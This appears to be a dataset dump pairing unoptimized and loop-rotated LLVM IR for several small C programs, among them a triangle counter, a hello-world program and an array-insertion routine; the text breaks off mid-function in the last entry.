llvm-ir
stringlengths
479
303k
llvm-optimized-ir
stringlengths
468
303k
; ModuleID = '/tmp/tmpekvgub8n.c' source_filename = "/tmp/tmpekvgub8n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i64 @compute1(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %4 = call i32 (...) @nd() store i32 %4, ptr %3, align 4 %5 = load i32, ptr %3, align 4 %6 = icmp sge i32 %5, 0 br i1 %6, label %7, label %10 7: ; preds = %1 %8 = load i32, ptr %3, align 4 %9 = icmp slt i32 %8, 16 br label %10 10: ; preds = %7, %1 %11 = phi i1 [ false, %1 ], [ %9, %7 ] %12 = zext i1 %11 to i32 %13 = call i32 @__CRAB_assume(i32 noundef %12) %14 = load ptr, ptr %2, align 8 %15 = load i32, ptr %3, align 4 %16 = sext i32 %15 to i64 %17 = getelementptr inbounds i64, ptr %14, i64 %16 %18 = load i64, ptr %17, align 8 %19 = icmp sge i64 %18, 0 %20 = zext i1 %19 to i32 %21 = call i32 @__CRAB_assert(i32 noundef %20) %22 = load ptr, ptr %2, align 8 %23 = getelementptr inbounds i64, ptr %22, i64 2 %24 = load i64, ptr %23, align 8 %25 = load ptr, ptr %2, align 8 %26 = getelementptr inbounds i64, ptr %25, i64 4 %27 = load i64, ptr %26, align 8 %28 = add nsw i64 %24, %27 %29 = load ptr, ptr %2, align 8 %30 = getelementptr inbounds i64, ptr %29, i64 6 %31 = load i64, ptr %30, align 8 %32 = add nsw i64 %28, %31 %33 = load ptr, ptr %2, align 8 %34 = getelementptr inbounds i64, ptr %33, i64 15 %35 = load i64, ptr %34, align 8 %36 = add nsw i64 %32, %35 ret i64 %36 } declare i32 @nd(...) #1 declare i32 @__CRAB_assume(i32 noundef) #1 declare i32 @__CRAB_assert(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpekvgub8n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i64 @compute1(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %4 = call i32 (...) @nd() store i32 %4, ptr %3, align 4 %5 = load i32, ptr %3, align 4 %6 = icmp sge i32 %5, 0 br i1 %6, label %7, label %10 7: ; preds = %1 %8 = load i32, ptr %3, align 4 %9 = icmp slt i32 %8, 16 br label %10 10: ; preds = %7, %1 %11 = phi i1 [ false, %1 ], [ %9, %7 ] %12 = zext i1 %11 to i32 %13 = call i32 @__CRAB_assume(i32 noundef %12) %14 = load ptr, ptr %2, align 8 %15 = load i32, ptr %3, align 4 %16 = sext i32 %15 to i64 %17 = getelementptr inbounds i64, ptr %14, i64 %16 %18 = load i64, ptr %17, align 8 %19 = icmp sge i64 %18, 0 %20 = zext i1 %19 to i32 %21 = call i32 @__CRAB_assert(i32 noundef %20) %22 = load ptr, ptr %2, align 8 %23 = getelementptr inbounds i64, ptr %22, i64 2 %24 = load i64, ptr %23, align 8 %25 = load ptr, ptr %2, align 8 %26 = getelementptr inbounds i64, ptr %25, i64 4 %27 = load i64, ptr %26, align 8 %28 = add nsw i64 %24, %27 %29 = load ptr, ptr %2, align 8 %30 = getelementptr inbounds i64, ptr %29, i64 6 %31 = load i64, ptr %30, align 8 %32 = add nsw i64 %28, %31 %33 = load ptr, ptr %2, align 8 %34 = getelementptr inbounds i64, ptr %33, i64 15 %35 = load i64, ptr %34, align 8 %36 = add nsw i64 %32, %35 ret i64 %36 } declare i32 @nd(...) #1 declare i32 @__CRAB_assume(i32 noundef) #1 declare i32 @__CRAB_assert(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp_9q5zjpz.c' source_filename = "/tmp/tmp_9q5zjpz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [35 x i8] c"Number of possible triangles is %d\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %6, align 4 %7 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) store i32 1, ptr %3, align 4 br label %8 8: ; preds = %54, %0 %9 = load i32, ptr %3, align 4 %10 = load i32, ptr %2, align 4 %11 = icmp sle i32 %9, %10 br i1 %11, label %12, label %57 12: ; preds = %8 %13 = load i32, ptr %3, align 4 store i32 %13, ptr %4, align 4 br label %14 14: ; preds = %50, %12 %15 = load i32, ptr %4, align 4 %16 = load i32, ptr %2, align 4 %17 = icmp sle i32 %15, %16 br i1 %17, label %18, label %53 18: ; preds = %14 %19 = load i32, ptr %4, align 4 store i32 %19, ptr %5, align 4 br label %20 20: ; preds = %46, %18 %21 = load i32, ptr %5, align 4 %22 = load i32, ptr %2, align 4 %23 = icmp sle i32 %21, %22 br i1 %23, label %24, label %49 24: ; preds = %20 %25 = load i32, ptr %3, align 4 %26 = load i32, ptr %4, align 4 %27 = add nsw i32 %25, %26 %28 = load i32, ptr %5, align 4 %29 = icmp sgt i32 %27, %28 br i1 %29, label %30, label %45 30: ; preds = %24 %31 = load i32, ptr %3, align 4 %32 = load i32, ptr %5, align 4 %33 = add nsw i32 %31, %32 %34 = load i32, ptr %4, align 4 %35 = icmp sgt i32 %33, %34 br i1 %35, label %36, label %45 36: ; preds = %30 %37 = load i32, ptr %4, align 4 %38 = load i32, ptr %5, align 4 %39 = add nsw i32 %37, %38 %40 = load i32, ptr %3, align 4 %41 = icmp sgt i32 %39, %40 br i1 %41, label %42, label %45 42: ; preds = %36 %43 = load i32, ptr %6, align 4 %44 = add nsw i32 %43, 1 store i32 %44, ptr %6, align 4 br label %45 45: ; preds = %42, %36, %30, %24 br label %46 46: ; preds = %45 %47 = load i32, ptr %5, align 4 %48 = add nsw i32 %47, 1 store i32 %48, ptr %5, align 4 br label %20, !llvm.loop !6 49: ; preds = %20 br label %50 50: ; preds = %49 %51 = load i32, ptr %4, align 4 %52 = add nsw i32 %51, 1 store i32 %52, ptr %4, align 4 br label %14, !llvm.loop !8 53: ; preds = %14 br label %54 54: ; preds = %53 %55 = load i32, ptr %3, align 4 %56 = add nsw i32 %55, 1 store i32 %56, ptr %3, align 4 br label %8, !llvm.loop !9 57: ; preds = %8 %58 = load i32, ptr %6, align 4 %59 = call i32 @printf(ptr noundef @.str.1, i32 noundef %58) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp_9q5zjpz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [35 x i8] c"Number of possible triangles is %d\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %6, align 4 %7 = call i32 @scanf(ptr noundef @.str, ptr noundef %2) store i32 1, ptr %3, align 4 %8 = load i32, ptr %3, align 4 %9 = load i32, ptr %2, align 4 %10 = icmp sle i32 %8, %9 br i1 %10, label %.lr.ph5, label %63 .lr.ph5: ; preds = %0 br label %11 11: ; preds = %.lr.ph5, %57 %12 = load i32, ptr %3, align 4 store i32 %12, ptr %4, align 4 %13 = load i32, ptr %4, align 4 %14 = load i32, ptr %2, align 4 %15 = icmp sle i32 %13, %14 br i1 %15, label %.lr.ph2, label %56 .lr.ph2: ; preds = %11 br label %16 16: ; preds = %.lr.ph2, %50 %17 = load i32, ptr %4, align 4 store i32 %17, ptr %5, align 4 %18 = load i32, ptr %5, align 4 %19 = load i32, ptr %2, align 4 %20 = icmp sle i32 %18, %19 br i1 %20, label %.lr.ph, label %49 .lr.ph: ; preds = %16 br label %21 21: ; preds = %.lr.ph, %43 %22 = load i32, ptr %3, align 4 %23 = load i32, ptr %4, align 4 %24 = add nsw i32 %22, %23 %25 = load i32, ptr %5, align 4 %26 = icmp sgt i32 %24, %25 br i1 %26, label %27, label %42 27: ; preds = %21 %28 = load i32, ptr %3, align 4 %29 = load i32, ptr %5, align 4 %30 = add nsw i32 %28, %29 %31 = load i32, ptr %4, align 4 %32 = icmp sgt i32 %30, %31 br i1 %32, label %33, label %42 33: ; preds = %27 %34 = load i32, ptr %4, align 4 %35 = load i32, ptr %5, align 4 %36 = add nsw i32 %34, %35 %37 = load i32, ptr %3, align 4 %38 = icmp sgt i32 %36, %37 br i1 %38, label %39, label %42 39: ; preds = %33 %40 = load i32, ptr %6, align 4 %41 = add nsw i32 %40, 1 store i32 %41, ptr %6, align 4 br label %42 42: ; preds = %39, %33, %27, %21 br label %43 43: ; preds = %42 %44 = load i32, ptr %5, align 4 %45 = add nsw i32 %44, 1 store i32 %45, ptr %5, align 4 %46 = load i32, ptr %5, align 4 %47 = load i32, ptr %2, align 4 %48 = icmp sle i32 %46, %47 br i1 %48, label %21, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %43 br label %49 49: ; preds = %._crit_edge, %16 br label %50 50: ; preds = %49 %51 = load i32, ptr %4, align 4 %52 = add nsw i32 %51, 1 store i32 %52, ptr %4, align 4 %53 = load i32, ptr %4, align 4 %54 = load i32, ptr %2, align 4 %55 = icmp sle i32 %53, %54 br i1 %55, label %16, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %50 br label %56 56: ; preds = %._crit_edge3, %11 br label %57 57: ; preds = %56 %58 = load i32, ptr %3, align 4 %59 = add nsw i32 %58, 1 store i32 %59, ptr %3, align 4 %60 = load i32, ptr %3, align 4 %61 = load i32, ptr %2, align 4 %62 = icmp sle i32 %60, %61 br i1 %62, label %11, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %57 br label %63 63: ; preds = %._crit_edge6, %0 %64 = load i32, ptr %6, align 4 %65 = call i32 @printf(ptr noundef @.str.1, i32 noundef %64) ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '/tmp/tmpiisvtyk3.c' source_filename = "/tmp/tmpiisvtyk3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpiisvtyk3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp5gsqslbr.c' source_filename = "/tmp/tmp5gsqslbr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [27 x i8] c"Hello World! -- from foo2\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = call i32 @printf(ptr noundef @.str) ret i32 0 } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp5gsqslbr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [27 x i8] c"Hello World! -- from foo2\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = call i32 @printf(ptr noundef @.str) ret i32 0 } declare i32 @printf(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpvz5mir__.c' source_filename = "/tmp/tmpvz5mir__.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c" %d\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 @.str.2 = private unnamed_addr constant [11 x i8] c"low is %d\0A\00", align 1 @.str.3 = private unnamed_addr constant [12 x i8] c"high is %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i32], align 16 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 0, ptr %1, align 4 %10 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 0 store i32 1, ptr %10, align 16 %11 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 1 store i32 2, ptr %11, align 4 %12 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 2 store i32 4, ptr %12, align 8 %13 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 3 store i32 5, ptr %13, align 4 %14 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 4 store i32 6, ptr %14, align 16 store i32 5, ptr %3, align 4 store i32 3, ptr %4, align 4 store i32 0, ptr %5, align 4 %15 = load i32, ptr %3, align 4 %16 = sub nsw i32 %15, 1 store i32 %16, ptr %6, align 4 br label %17 17: ; preds = %38, %0 %18 = load i32, ptr %5, align 4 %19 = load i32, ptr %6, align 4 %20 = icmp sle i32 %18, %19 br i1 %20, label %21, label %39 21: ; preds = %17 %22 = load i32, ptr %5, align 4 %23 = load i32, ptr %6, align 4 %24 = add nsw i32 %22, %23 %25 = sdiv i32 %24, 2 store i32 %25, ptr %7, align 4 %26 = load i32, ptr %7, align 4 %27 = sext i32 %26 to i64 %28 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %27 %29 = load i32, ptr %28, align 4 %30 = load i32, ptr %4, align 4 %31 = icmp slt i32 %29, %30 br i1 %31, label %32, label %35 32: ; preds = %21 %33 = load i32, ptr %7, align 4 %34 = add nsw i32 %33, 1 store i32 %34, ptr %5, align 4 br label %38 35: ; preds = %21 %36 = load i32, ptr %7, align 4 %37 = sub nsw i32 %36, 1 store i32 %37, ptr %6, align 4 br label %38 38: ; preds = %35, %32 br label %17, !llvm.loop !6 39: ; preds = %17 store i32 0, ptr %9, align 4 br label %40 40: ; preds = %50, %39 %41 = load i32, ptr %9, align 4 %42 = load i32, ptr %3, align 4 %43 = icmp slt i32 %41, %42 br i1 %43, label %44, label %53 44: ; preds = %40 %45 = load i32, ptr %9, align 4 %46 = sext i32 %45 to i64 %47 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %46 %48 = load i32, ptr %47, align 4 %49 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %48) br label %50 50: ; preds = %44 %51 = load i32, ptr %9, align 4 %52 = add nsw i32 %51, 1 store i32 %52, ptr %9, align 4 br label %40, !llvm.loop !8 53: ; preds = %40 %54 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) %55 = load i32, ptr %5, align 4 %56 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %55) %57 = load i32, ptr %6, align 4 %58 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %57) %59 = load i32, ptr %3, align 4 store i32 %59, ptr %8, align 4 br label %60 60: ; preds = %73, %53 %61 = load i32, ptr %8, align 4 %62 = load i32, ptr %6, align 4 %63 = icmp sgt i32 %61, %62 br i1 %63, label %64, label %76 64: ; preds = %60 %65 = load i32, ptr %8, align 4 %66 = sub nsw i32 %65, 1 %67 = sext i32 %66 to i64 %68 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %67 %69 = load i32, ptr %68, align 4 %70 = load i32, ptr %8, align 4 %71 = sext i32 %70 to i64 %72 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %71 store i32 %69, ptr %72, align 4 br label %73 73: ; preds = %64 %74 = load i32, ptr %8, align 4 %75 = add nsw i32 %74, -1 store i32 %75, ptr %8, align 4 br label %60, !llvm.loop !9 76: ; preds = %60 %77 = load i32, ptr %4, align 4 %78 = load i32, ptr %6, align 4 %79 = add nsw i32 %78, 1 %80 = sext i32 %79 to i64 %81 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %80 store i32 %77, ptr %81, align 4 %82 = load i32, ptr %3, align 4 %83 = add nsw i32 %82, 1 store i32 %83, ptr %3, align 4 store i32 0, ptr %9, align 4 br label %84 84: ; preds = %94, %76 %85 = load i32, ptr %9, align 4 %86 = load i32, ptr %3, align 4 %87 = icmp slt i32 %85, %86 br i1 %87, label %88, label %97 88: ; preds = %84 %89 = load i32, ptr %9, align 4 %90 = sext i32 %89 to i64 %91 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %90 %92 = load i32, ptr %91, align 4 %93 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %92) br label %94 94: ; preds = %88 %95 = load i32, ptr %9, align 4 %96 = add nsw i32 %95, 1 store i32 %96, ptr %9, align 4 br label %84, !llvm.loop !10 97: ; preds = %84 %98 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpvz5mir__.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c" %d\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 @.str.2 = private unnamed_addr constant [11 x i8] c"low is %d\0A\00", align 1 @.str.3 = private unnamed_addr constant [12 x i8] c"high is %d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i32], align 16 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 store i32 0, ptr %1, align 4 %10 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 0 store i32 1, ptr %10, align 16 %11 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 1 store i32 2, ptr %11, align 4 %12 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 2 store i32 4, ptr %12, align 8 %13 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 3 store i32 5, ptr %13, align 4 %14 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 4 store i32 6, ptr %14, align 16 store i32 5, ptr %3, align 4 store i32 3, ptr %4, align 4 store i32 0, ptr %5, align 4 %15 = load i32, ptr %3, align 4 %16 = sub nsw i32 %15, 1 store i32 %16, ptr %6, align 4 %17 = load i32, ptr %5, align 4 %18 = load i32, ptr %6, align 4 %19 = icmp sle i32 %17, %18 br i1 %19, label %.lr.ph, label %41 .lr.ph: ; preds = %0 br label %20 20: ; preds = %.lr.ph, %37 %21 = load i32, ptr %5, align 4 %22 = load i32, ptr %6, align 4 %23 = add nsw i32 %21, %22 %24 = sdiv i32 %23, 2 store i32 %24, ptr %7, align 4 %25 = load i32, ptr %7, align 4 %26 = sext i32 %25 to i64 %27 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %26 %28 = load i32, ptr %27, align 4 %29 = load i32, ptr %4, align 4 %30 = icmp slt i32 %28, %29 br i1 %30, label %31, label %34 31: ; preds = %20 %32 = load i32, ptr %7, align 4 %33 = add nsw i32 %32, 1 store i32 %33, ptr %5, align 4 br label %37 34: ; preds = %20 %35 = load i32, ptr %7, align 4 %36 = sub nsw i32 %35, 1 store i32 %36, ptr %6, align 4 br label %37 37: ; preds = %34, %31 %38 = load i32, ptr %5, align 4 %39 = load i32, ptr %6, align 4 %40 = icmp sle i32 %38, %39 br i1 %40, label %20, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %37 br label %41 41: ; preds = %._crit_edge, %0 store i32 0, ptr %9, align 4 %42 = load i32, ptr %9, align 4 %43 = load i32, ptr %3, align 4 %44 = icmp slt i32 %42, %43 br i1 %44, label %.lr.ph2, label %57 .lr.ph2: ; preds = %41 br label %45 45: ; preds = %.lr.ph2, %51 %46 = load i32, ptr %9, align 4 %47 = sext i32 %46 to i64 %48 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %47 %49 = load i32, ptr %48, align 4 %50 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %49) br label %51 51: ; preds = %45 %52 = load i32, ptr %9, align 4 %53 = add nsw i32 %52, 1 store i32 %53, ptr %9, align 4 %54 = load i32, ptr %9, align 4 %55 = load i32, ptr %3, align 4 %56 = icmp slt i32 %54, %55 br i1 %56, label %45, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %51 br label %57 57: ; preds = %._crit_edge3, %41 %58 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) %59 = load i32, ptr %5, align 4 %60 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %59) %61 = load i32, ptr %6, align 4 %62 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %61) %63 = load i32, ptr %3, align 4 store i32 %63, ptr %8, align 4 %64 = load i32, ptr %8, align 4 %65 = load i32, ptr %6, align 4 %66 = icmp sgt i32 %64, %65 br i1 %66, label %.lr.ph5, label %82 .lr.ph5: ; preds = %57 br label %67 67: ; preds = %.lr.ph5, %76 %68 = load i32, ptr %8, align 4 %69 = sub nsw i32 %68, 1 %70 = sext i32 %69 to i64 %71 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %70 %72 = load i32, ptr %71, align 4 %73 = load i32, ptr %8, align 4 %74 = sext i32 %73 to i64 %75 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %74 store i32 